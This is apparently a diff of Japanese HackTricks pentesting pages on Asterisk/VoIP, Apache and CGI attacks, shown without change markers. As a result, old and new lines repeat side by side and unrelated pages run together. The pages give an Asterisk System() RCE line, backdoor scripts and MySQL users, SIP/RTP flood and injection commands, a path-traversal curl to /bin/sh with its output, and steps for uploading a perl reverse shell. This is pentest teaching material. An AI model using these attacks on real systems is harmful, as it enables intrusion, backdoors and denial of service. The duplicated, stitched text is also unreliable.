Asteriskで何らかの方法で**拡張ルールを追加してリロード**することができる場合例えば脆弱性のあるWebマネージャーサーバーを侵害することで)、**`System`**コマンドを使用してRCEを取得することが可能です。
Asteriskでは、**拡張ルールを追加して再読み込みする**ことができる方法があり(例えば、脆弱なウェブマネージャーサーバーを侵害することによって)、**`System`**コマンドを使用してRCEを取得することが可能です。
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
**`Shell`**というコマンドは、必要に応じてシステムコマンドを実行するために**`System`**の代わりに使用できます。
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
サーバーが**`System`**コマンドで特定の文字の使用を禁止している場合Elastixなど、ウェブサーバーがシステム内で何らかの方法でファイルを作成することを許可しているかどうかを確認しElastixやtrixboxのように、それを使用してバックドアスクリプトを作成し、そのスクリプトを実行するために**`System`**を使用します。
もしサーバーが**`System`**コマンドで**特定の文字の使用を禁止している**場合Elastixのように、ウェブサーバーが**システム内にファイルを作成することを許可しているか**確認してくださいElastixやtrixboxのように、それを使用して**バックドアスクリプトを作成**し、その後**`System`**を使用してその**スクリプトを実行**します。
{% endhint %}
#### 興味深いローカルファイルと権限
* **`sip.conf`** -> SIPユーザーのパスワードが含まれています
* **Asteriskサーバーがrootとして実行されている場合**、rootを危険にさらす可能性があります
* **mysql rootユーザー**は**パスワードを持っていない**かもしれません
* これを使用してバックドアとして新しいmysqlユーザーを作成できます
* **`sip.conf`** -> SIPユーザーのパスワードを含む
* **Asteriskサーバーがrootとして実行されている場合**、rootを危険にさらすことができる。
* **mysql rootユーザー**は**パスワードを持っていない可能性がある**
* これはバックドアとして新しいmysqlユーザーを作成するために使用できる。
* **`FreePBX`**
* **`amportal.conf`** -> ウェブパネル管理者FreePBXのパスワードが含まれています
* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXユーザーのパスワードが含まれています
* これを使用してバックドアとして新しいmysqlユーザーを作成できます
* **`amportal.conf`** -> ウェブパネル管理者FreePBXのパスワードを含む。
* **`FreePBX.conf`** -> データベースにアクセスするために使用されるFreePBXuserのパスワードを含む。
* これはバックドアとして新しいmysqlユーザーを作成するために使用できる。
* **`Elastix`**
* **`Elastix.conf`** -> mysql rootパスワード、IMAPdパスワード、Web管理者パスワードなど、いくつかのパスワードが平文で含まれています
* **いくつかのフォルダ**は、compromised asteriskユーザーに属しますrootとして実行されていない場合。このユーザーは前述のファイルを読み取ることができ、また構成を制御しているため、Asteriskが他のバックドア付きバイナリを実行するようにすることができます。
* **`Elastix.conf`** -> mysql rootパス、IMAPdパス、ウェブ管理者パスなどのクリアテキストのパスワードを含む。
* **いくつかのフォルダー**は、侵害されたasteriskユーザーに属しますrootとして実行されていない場合。このユーザーは前述のファイルを読み取ることができ、設定を制御することもできるため、Asteriskが実行時に他のバックドアバイナリを読み込むようにすることができます。
### RTPインジェクション
**`rtpinsertsound`**`sudo apt install rtpinsertsound`)や**`rtpmixsound`**`sudo apt install rtpmixsound`)などのツールを使用して、会話に**`.wav`**を挿入することが可能です。
また、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)からスクリプトを使用して、会話を**スキャン**する(**`rtpscan.pl`**)、会話に`.wav`を送信する(**`rtpsend.pl`**)、会話に**ノイズを挿入**する(**`rtpflood.pl`**)ことができます。
また、[http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/)からスクリプトを使用して、**会話をスキャン**する(**`rtpscan.pl`**)、会話に**`.wav`**を送信する(**`rtpsend.pl`**)、会話に**ノイズを挿入**する(**`rtpflood.pl`**)ことができます。
### DoS
VoIPサーバーでDoSを試みるためのいくつかの方法があります。
VoIPサーバーでDoSを達成するためのいくつかの方法があります。
* [**sippts**](https://github.com/Pepelux/sippts)からの**`SIPPTS flood`**SIPPTS floodはターゲットに無制限のメッセージを送信します。
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS floodはターゲットに無限のメッセージを送信します。
* `sippts flood -i 10.10.0.10 -m invite -v`
* [**sippts**](https://github.com/Pepelux/sippts)からの**`SIPPTS ping`**SIPPTS pingはサーバーの応答時間を確認するためにSIP pingを行います。
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS pingはサーバーの応答時間を確認するためにSIP pingを行います。
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/)Asteriskが使用するIAXプロトコルに対するDoS
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt)UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するツール。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/)いくつかの適切に形成されたRTPパケットを送信します。使用されているRTPポートを知る必要があります最初にスニッフィング
* [**SIPp**](https://github.com/SIPp/sipp)SIPトラフィックを分析および生成することができます。そのため、DoSにも使用できます。
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak)SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
* Fuzzers[**protos-sip**](https://www.kali.org/tools/protos-sip/)、[**voiper**](https://github.com/gremwell/voiper)。
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asteriskによって使用されるDoS IAXプロトコル。
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP上でSIP/SDP INVITEメッセージの洪水を実行するためのツール。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): いくつかの適切に形成されたRTPパケットを送信します。使用されているRTPポートを知る必要があります最初にスニッフィングしてください)。
* [**SIPp**](https://github.com/SIPp/sipp): SIPトラフィックを分析および生成することができます。したがって、DoSにも使用できます。
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIPスイスアーミーナイフ。SIP攻撃を実行するためにも使用できます。
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/)、[**voiper**](https://github.com/gremwell/voiper)。
### OSの脆弱性
Asteriskなどのソフトウェアをインストールする最も簡単な方法は、すでにインストールされているOSディストリビューションをダウンロードすることです。例**FreePBX、Elastix、Trixbox**... これらの問題は、一度動作していると、システム管理者がそれらを再度更新しないかもしれず、時間の経過とともに**脆弱性**が発見される可能性があります。
Asteriskのようなソフトウェアをインストールする最も簡単な方法は、すでにインストールされている**OSディストリビューション**をダウンロードすることです。例:**FreePBX、Elastix、Trixbox**... それらの問題は、一度動作し始めると、システム管理者が**再度更新しない可能性があり**、**脆弱性**が時間とともに発見されることです。
## 参考文献
@ -630,16 +631,17 @@ Asteriskなどのソフトウェアをインストールする最も簡単な方
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,34 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)を使用して脆弱性とミス構成を見つける
[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)を使用して脆弱性や設定ミスを見つける
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください**.**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
# 実行可能なPHP拡張機能
# 実行可能なPHP拡張
Apacheサーバーで実行されている拡張機能を確認します。これらを検索するには、次のコマンドを実行できます:
Apacheサーバーが実行している拡張を確認します。それらを検索するには、次のコマンドを実行できます:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
また、この設定を見つけることができる場所もいくつかあります:
また、この設定を見つけることができる場所は次のとおりです:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -32,16 +33,17 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details>
**この投稿をチェック:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**この投稿をチェックしてください:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,33 +1,35 @@
# バケツ
# Buckets
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
Bucketsの列挙と悪用について詳しく学びたい場合は、このページをチェックしてください
バケットの列挙と悪用についてもっと学びたい場合は、このページをチェックしてください:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,40 +1,41 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローしてください。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# 情報
**CGIスクリプトはperlスクリプト**であり、したがって、_**.cgi**_ スクリプトを実行できるサーバーを侵害した場合、**perl逆シェル** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) を**アップロード**し、**.pl** 拡張子を **.cgi** に変更し、**実行権限** \(`chmod +x`\) を与え、**ウェブブラウザから**逆シェルに**アクセス**して実行できます。
**CGI脆弱性**をテストするためには、`nikto -C all` \(およびすべてのプラグイン\) を使用することが推奨されています。
**CGIスクリプトはperlスクリプトです**。したがって、_**.cgi**_スクリプトを実行できるサーバーを侵害した場合、**perlリバースシェル** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) を**アップロード**し、**拡張子**を**.pl**から**.cgi**に変更し、**実行権限**を与え \(`chmod +x`\)、**ウェブブラウザから**リバースシェルに**アクセス**して実行できます。
**CGI脆弱性**をテストするには、`nikto -C all` \(およびすべてのプラグイン\)を使用することをお勧めします。
# **ShellShock**
